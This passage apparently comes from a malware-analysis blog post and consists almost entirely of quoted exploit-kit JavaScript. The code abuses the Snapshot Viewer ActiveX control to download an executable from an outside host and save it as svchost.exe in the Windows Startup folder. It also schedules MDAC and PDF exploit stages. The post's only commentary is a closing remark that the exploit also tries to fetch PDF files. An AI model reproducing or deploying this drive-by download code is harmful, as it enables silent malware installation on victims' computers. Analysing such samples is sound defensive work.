    while (wnd.parent!=wnd)
        wnd=wnd.parent;
    wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
    var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
    var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
     +'svchost.exe';
    try {
        snapattack.SnapshotPath = sfrom;
        snapattack.CompressedPath = sto;
        snapattack.PrintSnapshot(sfrom,sto);
    } catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();

Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...